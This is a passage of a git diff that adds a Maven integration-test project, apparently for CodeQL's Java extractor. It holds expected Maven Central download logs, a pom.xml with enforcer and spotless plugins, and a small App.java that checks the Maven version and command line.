+Downloaded from central: https://repo.maven.apache.org/maven2/org/eclipse/jgit/org.eclipse.jgit-parent/5.13.0.202109080827-r/org.eclipse.jgit-parent-5.13.0.202109080827-r.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/eclipse/jgit/org.eclipse.jgit/5.13.0.202109080827-r/org.eclipse.jgit-5.13.0.202109080827-r.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/eclipse/jgit/org.eclipse.jgit/5.13.0.202109080827-r/org.eclipse.jgit-5.13.0.202109080827-r.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/hamcrest/hamcrest-core/1.3/hamcrest-core-1.3.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/hamcrest/hamcrest-core/1.3/hamcrest-core-1.3.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/hamcrest/hamcrest-parent/1.3/hamcrest-parent-1.3.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/iq80/snappy/snappy/0.4/snappy-0.4.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/iq80/snappy/snappy/0.4/snappy-0.4.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/junit/junit-bom/5.10.0/junit-bom-5.10.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/junit/junit-bom/5.10.1/junit-bom-5.10.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/junit/junit-bom/5.10.2/junit-bom-5.10.2.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/junit/junit-bom/5.10.3/junit-bom-5.10.3.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/junit/junit-bom/5.7.2/junit-bom-5.7.2.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/junit/junit-bom/5.9.3/junit-bom-5.9.3.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/ow2/asm/asm/6.2/asm-6.2.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/ow2/asm/asm/6.2/asm-6.2.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/ow2/asm/asm/9.7/asm-9.7.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/ow2/asm/asm/9.7/asm-9.7.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/ow2/ow2/1.5.1/ow2-1.5.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/ow2/ow2/1.5/ow2-1.5.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/slf4j/jcl-over-slf4j/1.5.6/jcl-over-slf4j-1.5.6.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/slf4j/jcl-over-slf4j/1.5.6/jcl-over-slf4j-1.5.6.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/slf4j/slf4j-api/1.5.6/slf4j-api-1.5.6.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/slf4j/slf4j-api/1.5.6/slf4j-api-1.5.6.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/slf4j/slf4j-api/1.7.30/slf4j-api-1.7.30.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/slf4j/slf4j-api/1.7.32/slf4j-api-1.7.32.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/slf4j/slf4j-api/1.7.32/slf4j-api-1.7.32.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/slf4j/slf4j-api/1.7.36/slf4j-api-1.7.36.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/slf4j/slf4j-api/1.7.36/slf4j-api-1.7.36.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/slf4j/slf4j-api/1.7.5/slf4j-api-1.7.5.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/slf4j/slf4j-jdk14/1.5.6/slf4j-jdk14-1.5.6.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/slf4j/slf4j-jdk14/1.5.6/slf4j-jdk14-1.5.6.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/slf4j/slf4j-parent/1.5.6/slf4j-parent-1.5.6.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/slf4j/slf4j-parent/1.7.30/slf4j-parent-1.7.30.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/slf4j/slf4j-parent/1.7.32/slf4j-parent-1.7.32.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/slf4j/slf4j-parent/1.7.36/slf4j-parent-1.7.36.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/slf4j/slf4j-parent/1.7.5/slf4j-parent-1.7.5.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/sonatype/aether/aether-api/1.7/aether-api-1.7.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/sonatype/aether/aether-api/1.7/aether-api-1.7.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/sonatype/aether/aether-impl/1.7/aether-impl-1.7.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/sonatype/aether/aether-impl/1.7/aether-impl-1.7.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/sonatype/aether/aether-parent/1.7/aether-parent-1.7.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/sonatype/aether/aether-spi/1.7/aether-spi-1.7.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/sonatype/aether/aether-spi/1.7/aether-spi-1.7.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/sonatype/aether/aether-util/1.7/aether-util-1.7.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/sonatype/aether/aether-util/1.7/aether-util-1.7.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/sonatype/forge/forge-parent/10/forge-parent-10.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/sonatype/forge/forge-parent/4/forge-parent-4.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/sonatype/forge/forge-parent/5/forge-parent-5.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/sonatype/forge/forge-parent/6/forge-parent-6.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/sonatype/oss/oss-parent/5/oss-parent-5.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/sonatype/oss/oss-parent/7/oss-parent-7.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/sonatype/oss/oss-parent/9/oss-parent-9.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/sonatype/plexus/plexus-build-api/0.0.7/plexus-build-api-0.0.7.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/sonatype/plexus/plexus-build-api/0.0.7/plexus-build-api-0.0.7.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/sonatype/plexus/plexus-cipher/1.4/plexus-cipher-1.4.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/sonatype/plexus/plexus-cipher/1.4/plexus-cipher-1.4.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/sonatype/plexus/plexus-sec-dispatcher/1.3/plexus-sec-dispatcher-1.3.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/sonatype/plexus/plexus-sec-dispatcher/1.3/plexus-sec-dispatcher-1.3.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/sonatype/sisu/inject/guice-bean/1.4.2/guice-bean-1.4.2.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/sonatype/sisu/inject/guice-plexus/1.4.2/guice-plexus-1.4.2.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/sonatype/sisu/sisu-guice/2.1.7/sisu-guice-2.1.7-noaop.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/sonatype/sisu/sisu-guice/2.1.7/sisu-guice-2.1.7.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/sonatype/sisu/sisu-inject-bean/1.4.2/sisu-inject-bean-1.4.2.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/sonatype/sisu/sisu-inject-bean/1.4.2/sisu-inject-bean-1.4.2.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/sonatype/sisu/sisu-inject-plexus/1.4.2/sisu-inject-plexus-1.4.2.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/sonatype/sisu/sisu-inject-plexus/1.4.2/sisu-inject-plexus-1.4.2.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/sonatype/sisu/sisu-inject/1.4.2/sisu-inject-1.4.2.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/sonatype/sisu/sisu-parent/1.4.2/sisu-parent-1.4.2.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/sonatype/spice/spice-parent/12/spice-parent-12.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/sonatype/spice/spice-parent/15/spice-parent-15.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/sonatype/spice/spice-parent/17/spice-parent-17.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/tukaani/xz/1.5/xz-1.5.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/tukaani/xz/1.5/xz-1.5.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/tukaani/xz/1.9/xz-1.9.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/tukaani/xz/1.9/xz-1.9.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/oro/oro/2.0.8/oro-2.0.8.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/oro/oro/2.0.8/oro-2.0.8.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/xml-apis/xml-apis/1.0.b2/xml-apis-1.0.b2.pom
diff --git a/java/ql/integration-tests/java/maven-enforcer-single-version/pom.xml b/java/ql/integration-tests/java/maven-enforcer-single-version/pom.xml
new file mode 100644
index 000000000000..c13e7b6a0f32
--- /dev/null
+++ b/java/ql/integration-tests/java/maven-enforcer-single-version/pom.xml
@@ -0,0 +1,133 @@
+<?xml version="1.0" encoding="UTF-8"?>
+
+<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
+  <modelVersion>4.0.0</modelVersion>
+
+  <groupId>com.example</groupId>
+  <artifactId>maven-sample</artifactId>
+  <version>1.0-SNAPSHOT</version>
+
+  <name>maven-sample</name>
+  <!-- FIXME change it to the project's website -->
+  <url>http://www.example.com</url>
+
+  <properties>
+    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
+    <maven.compiler.source>1.7</maven.compiler.source>
+    <maven.compiler.target>1.7</maven.compiler.target>
+  </properties>
+
+  <dependencies>
+    <dependency>
+      <groupId>junit</groupId>
+      <artifactId>junit</artifactId>
+      <version>4.11</version>
+      <scope>test</scope>
+    </dependency>
+  </dependencies>
+
+  <build>
+    <plugins>
+      <plugin>
+        <artifactId>exec-maven-plugin</artifactId>
+        <groupId>org.codehaus.mojo</groupId>
+        <version>1.1.1</version>
+        <executions>
+          <execution>
+            <id>check-maven-version</id>
+            <phase>package</phase>
+            <goals>
+              <goal>java</goal>
+            </goals>
+          </execution>
+        </executions>
+        <configuration>
+          <mainClass>com.example.App</mainClass>
+        </configuration>
+      </plugin>
+      <plugin>
+        <groupId>com.diffplug.spotless</groupId>
+        <artifactId>spotless-maven-plugin</artifactId>
+        <version>2.19.1</version>
+        <executions>
+          <execution>
+            <goals>
+              <goal>check</goal>
+            </goals>
+            <phase>compile</phase>
+          </execution>
+        </executions>
+        <configuration>
+          <java>
+            <licenseHeader>
+              <content>/* FAIL ME */</content>
+            </licenseHeader>
+          </java>
+        </configuration>
+      </plugin>
+      <plugin>
+        <groupId>org.apache.maven.plugins</groupId>
+        <artifactId>maven-enforcer-plugin</artifactId>
+        <executions>
+          <execution>
+            <id>enforce-maven</id>
+            <goals>
+              <goal>enforce</goal>
+            </goals>
+            <configuration>
+              <rules>
+                <requireMavenVersion>
+                  <version>3.9.1</version>
+                </requireMavenVersion>
+              </rules>
+            </configuration>
+          </execution>
+        </executions>
+      </plugin>
+    </plugins>
+    <pluginManagement>
+      <!-- lock down plugins versions to avoid using Maven defaults (may be moved to parent pom) -->
+      <plugins>
+        <!-- clean lifecycle, see https://maven.apache.org/ref/current/maven-core/lifecycles.html#clean_Lifecycle -->
+        <plugin>
+          <artifactId>maven-clean-plugin</artifactId>
+          <version>3.1.0</version>
+        </plugin>
+        <!-- default lifecycle, jar packaging: see https://maven.apache.org/ref/current/maven-core/default-bindings.html#Plugin_bindings_for_jar_packaging -->
+        <plugin>
+          <artifactId>maven-resources-plugin</artifactId>
+          <version>3.0.2</version>
+        </plugin>
+        <plugin>
+          <artifactId>maven-compiler-plugin</artifactId>
+          <version>3.8.0</version>
+        </plugin>
+        <plugin>
+          <artifactId>maven-surefire-plugin</artifactId>
+          <version>2.22.1</version>
+        </plugin>
+        <plugin>
+          <artifactId>maven-jar-plugin</artifactId>
+          <version>3.0.2</version>
+        </plugin>
+        <plugin>
+          <artifactId>maven-install-plugin</artifactId>
+          <version>2.5.2</version>
+        </plugin>
+        <plugin>
+          <artifactId>maven-deploy-plugin</artifactId>
+          <version>2.8.2</version>
+        </plugin>
+        <!-- site lifecycle, see https://maven.apache.org/ref/current/maven-core/lifecycles.html#site_Lifecycle -->
+        <plugin>
+          <artifactId>maven-site-plugin</artifactId>
+          <version>3.7.1</version>
+        </plugin>
+        <plugin>
+          <artifactId>maven-project-info-reports-plugin</artifactId>
+          <version>3.0.0</version>
+        </plugin>
+      </plugins>
+    </pluginManagement>
+  </build>
+</project>
diff --git a/java/ql/integration-tests/java/maven-enforcer-single-version/source_archive.expected b/java/ql/integration-tests/java/maven-enforcer-single-version/source_archive.expected
new file mode 100644
index 000000000000..59a81a01481c
--- /dev/null
+++ b/java/ql/integration-tests/java/maven-enforcer-single-version/source_archive.expected
@@ -0,0 +1,10 @@
+pom.xml
+src/main/java/com/example/App.java
+src/main/resources/my-app.properties
+src/main/resources/page.xml
+src/main/resources/struts.xml
+src/test/java/com/example/AppTest.java
+target/classes/my-app.properties
+target/classes/page.xml
+target/classes/struts.xml
+target/maven-archiver/pom.properties
diff --git a/java/ql/integration-tests/java/maven-enforcer-single-version/src/main/java/com/example/App.java b/java/ql/integration-tests/java/maven-enforcer-single-version/src/main/java/com/example/App.java
new file mode 100644
index 000000000000..c9eec918587c
--- /dev/null
+++ b/java/ql/integration-tests/java/maven-enforcer-single-version/src/main/java/com/example/App.java
@@ -0,0 +1,30 @@
+package com.example;
+
+import java.util.regex.Pattern;
+import java.nio.file.Path;
+import java.nio.file.Paths;
+
+/**
+ * Hello world!
+ *
+ */
+public class App 
+{
+    public static void main( String[] args )
+    {
+        System.out.println( "Hello World!" );
+        String expectedVersion = System.getenv("EXPECT_MAVEN");
+        Path mavenHome = Paths.get(System.getProperty("maven.home")).normalize();
+        String observedVersion = mavenHome.getFileName().toString();
+        if (expectedVersion != null && !expectedVersion.equals(observedVersion)) {
+                System.err.println("Wrong maven version, expected '" + expectedVersion + "' but got '" + observedVersion + "'" + mavenHome);
+                System.exit(1);
+        }
+        String commandMatcher = System.getenv("EXPECT_COMMAND_REGEX");
+        String command = System.getProperty("sun.java.command");
+        if (commandMatcher != null && !Pattern.matches(commandMatcher, command)) {
+                System.err.println("Wrong command line, '" + command + "' does not match '" + commandMatcher + "'");
+                System.exit(1);
+        }
+    }
+}
diff --git a/java/ql/integration-tests/java/maven-enforcer-single-version/src/main/resources/my-app.properties b/java/ql/integration-tests/java/maven-enforcer-single-version/src/main/resources/my-app.properties
new file mode 100644
index 000000000000..e566b49a29a8
--- /dev/null
+++ b/java/ql/integration-tests/java/maven-enforcer-single-version/src/main/resources/my-app.properties
@@ -0,0 +1 @@
+version=1.0
diff --git a/java/ql/integration-tests/java/maven-enforcer-single-version/src/main/resources/page.xml b/java/ql/integration-tests/java/maven-enforcer-single-version/src/main/resources/page.xml
new file mode 100644
index 000000000000..2bab459cb031
--- /dev/null
+++ b/java/ql/integration-tests/java/maven-enforcer-single-version/src/main/resources/page.xml
@@ -0,0 +1,8 @@
+<html>
+<head>
+<title>A sample</title>
+</head>
+<body>
+<p>Hello world!</p>
+</body>
+</html>
diff --git a/java/ql/integration-tests/java/maven-enforcer-single-version/src/main/resources/struts.xml b/java/ql/integration-tests/java/maven-enforcer-single-version/src/main/resources/struts.xml
new file mode 100644
index 000000000000..73fc0c6b9cb6
--- /dev/null
+++ b/java/ql/integration-tests/java/maven-enforcer-single-version/src/main/resources/struts.xml
@@ -0,0 +1,4 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<struts>
+This is a sample file
+</struts>
diff --git a/java/ql/integration-tests/java/maven-enforcer-single-version/src/test/java/com/example/AppTest.java b/java/ql/integration-tests/java/maven-enforcer-single-version/src/test/java/com/example/AppTest.java
new file mode 100644
index 000000000000..22a94ca6f01c
--- /dev/null
+++ b/java/ql/integration-tests/java/maven-enforcer-single-version/src/test/java/com/example/AppTest.java
@@ -0,0 +1,20 @@
+package com.example;
+
+import static org.junit.Assert.assertTrue;
+
+import org.junit.Test;
+
+/**
+ * Unit test for simple App.
+ */
+public class AppTest 
+{
+    /**
+     * Rigorous Test :-)
+     */
+    @Test
+    public void shouldAnswerWithTrue()
+    {
+        assertTrue( true );
+    }
+}
diff --git a/java/ql/integration-tests/java/maven-enforcer-single-version/test.py b/java/ql/integration-tests/java/maven-enforcer-single-version/test.py
new file mode 100644
index 000000000000..eb49efe6a2a3
--- /dev/null
+++ b/java/ql/integration-tests/java/maven-enforcer-single-version/test.py
@@ -0,0 +1,2 @@
+def test(codeql, java):
+    codeql.database.create()
diff --git a/java/ql/integration-tests/java/maven-enforcer/maven-fetches.expected b/java/ql/integration-tests/java/maven-enforcer/maven-fetches.expected
new file mode 100644
index 000000000000..dab45b38bf7e
--- /dev/null
+++ b/java/ql/integration-tests/java/maven-enforcer/maven-fetches.expected
@@ -0,0 +1,541 @@
+Downloaded from central: https://repo.maven.apache.org/maven2/avalon-framework/avalon-framework/4.1.3/avalon-framework-4.1.3.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/backport-util-concurrent/backport-util-concurrent/3.1/backport-util-concurrent-3.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/backport-util-concurrent/backport-util-concurrent/3.1/backport-util-concurrent-3.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/classworlds/classworlds/1.1-alpha-2/classworlds-1.1-alpha-2.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/classworlds/classworlds/1.1/classworlds-1.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/classworlds/classworlds/1.1/classworlds-1.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/com/diffplug/durian/durian-collect/1.2.0/durian-collect-1.2.0.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/com/diffplug/durian/durian-collect/1.2.0/durian-collect-1.2.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/com/diffplug/durian/durian-core/1.2.0/durian-core-1.2.0.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/com/diffplug/durian/durian-core/1.2.0/durian-core-1.2.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/com/diffplug/spotless/spotless-lib-extra/2.21.2/spotless-lib-extra-2.21.2.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/com/diffplug/spotless/spotless-lib-extra/2.21.2/spotless-lib-extra-2.21.2.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/com/diffplug/spotless/spotless-lib/2.21.2/spotless-lib-2.21.2.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/com/diffplug/spotless/spotless-lib/2.21.2/spotless-lib-2.21.2.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/com/diffplug/spotless/spotless-maven-plugin/2.19.1/spotless-maven-plugin-2.19.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/com/diffplug/spotless/spotless-maven-plugin/2.19.1/spotless-maven-plugin-2.19.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/com/github/luben/zstd-jni/1.5.5-11/zstd-jni-1.5.5-11.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/com/github/luben/zstd-jni/1.5.5-11/zstd-jni-1.5.5-11.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/com/google/code/findbugs/jsr305/2.0.1/jsr305-2.0.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/com/google/code/findbugs/jsr305/2.0.1/jsr305-2.0.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/com/googlecode/concurrent-trees/concurrent-trees/2.6.1/concurrent-trees-2.6.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/com/googlecode/concurrent-trees/concurrent-trees/2.6.1/concurrent-trees-2.6.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/com/googlecode/javaewah/JavaEWAH/1.1.12/JavaEWAH-1.1.12.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/com/googlecode/javaewah/JavaEWAH/1.1.12/JavaEWAH-1.1.12.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/com/thoughtworks/qdox/qdox/2.0-M8/qdox-2.0-M8.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/com/thoughtworks/qdox/qdox/2.0-M8/qdox-2.0-M8.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/com/thoughtworks/qdox/qdox/2.0-M9/qdox-2.0-M9.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/com/thoughtworks/qdox/qdox/2.0-M9/qdox-2.0-M9.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/commons-beanutils/commons-beanutils/1.6/commons-beanutils-1.6.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/commons-beanutils/commons-beanutils/1.7.0/commons-beanutils-1.7.0.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/commons-beanutils/commons-beanutils/1.7.0/commons-beanutils-1.7.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/commons-chain/commons-chain/1.1/commons-chain-1.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/commons-chain/commons-chain/1.1/commons-chain-1.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/commons-cli/commons-cli/1.0/commons-cli-1.0.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/commons-cli/commons-cli/1.0/commons-cli-1.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/commons-codec/commons-codec/1.11/commons-codec-1.11.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/commons-codec/commons-codec/1.16.1/commons-codec-1.16.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/commons-codec/commons-codec/1.16.1/commons-codec-1.16.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/commons-codec/commons-codec/1.17.0/commons-codec-1.17.0.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/commons-codec/commons-codec/1.17.0/commons-codec-1.17.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/commons-collections/commons-collections/2.0/commons-collections-2.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/commons-collections/commons-collections/2.1/commons-collections-2.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/commons-collections/commons-collections/3.1/commons-collections-3.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/commons-collections/commons-collections/3.2.1/commons-collections-3.2.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/commons-collections/commons-collections/3.2.2/commons-collections-3.2.2.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/commons-collections/commons-collections/3.2.2/commons-collections-3.2.2.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/commons-collections/commons-collections/3.2/commons-collections-3.2.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/commons-digester/commons-digester/1.6/commons-digester-1.6.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/commons-digester/commons-digester/1.8/commons-digester-1.8.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/commons-digester/commons-digester/1.8/commons-digester-1.8.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/commons-io/commons-io/2.11.0/commons-io-2.11.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/commons-io/commons-io/2.15.1/commons-io-2.15.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/commons-io/commons-io/2.15.1/commons-io-2.15.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/commons-io/commons-io/2.16.1/commons-io-2.16.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/commons-io/commons-io/2.16.1/commons-io-2.16.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/commons-io/commons-io/2.2/commons-io-2.2.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/commons-io/commons-io/2.4/commons-io-2.4.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/commons-io/commons-io/2.5/commons-io-2.5.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/commons-io/commons-io/2.5/commons-io-2.5.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/commons-io/commons-io/2.6/commons-io-2.6.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/commons-lang/commons-lang/2.4/commons-lang-2.4.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/commons-lang/commons-lang/2.4/commons-lang-2.4.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/commons-logging/commons-logging/1.0.3/commons-logging-1.0.3.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/commons-logging/commons-logging/1.0/commons-logging-1.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/commons-logging/commons-logging/1.1/commons-logging-1.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/commons-logging/commons-logging/1.2/commons-logging-1.2.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/commons-logging/commons-logging/1.2/commons-logging-1.2.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/dom4j/dom4j/1.1/dom4j-1.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/dom4j/dom4j/1.1/dom4j-1.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/javax/inject/javax.inject/1/javax.inject-1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/javax/inject/javax.inject/1/javax.inject-1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/junit/junit/3.8.2/junit-3.8.2.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/junit/junit/4.11/junit-4.11.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/junit/junit/4.11/junit-4.11.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/junit/junit/4.12/junit-4.12.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/junit/junit/4.12/junit-4.12.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/log4j/log4j/1.2.12/log4j-1.2.12.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/logkit/logkit/1.0.1/logkit-1.0.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache-extras/beanshell/bsh/2.0b6/bsh-2.0b6.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache-extras/beanshell/bsh/2.0b6/bsh-2.0b6.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/apache/11/apache-11.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/apache/13/apache-13.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/apache/15/apache-15.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/apache/16/apache-16.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/apache/18/apache-18.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/apache/19/apache-19.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/apache/20/apache-20.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/apache/21/apache-21.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/apache/23/apache-23.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/apache/25/apache-25.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/apache/27/apache-27.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/apache/29/apache-29.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/apache/3/apache-3.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/apache/30/apache-30.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/apache/31/apache-31.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/apache/32/apache-32.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/apache/4/apache-4.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/apache/5/apache-5.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/apache/6/apache-6.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/apache/7/apache-7.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/apache/9/apache-9.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/commons/commons-compress/1.11/commons-compress-1.11.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/commons/commons-compress/1.11/commons-compress-1.11.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/commons/commons-compress/1.26.1/commons-compress-1.26.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/commons/commons-compress/1.26.1/commons-compress-1.26.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/commons/commons-lang3/3.14.0/commons-lang3-3.14.0.jar
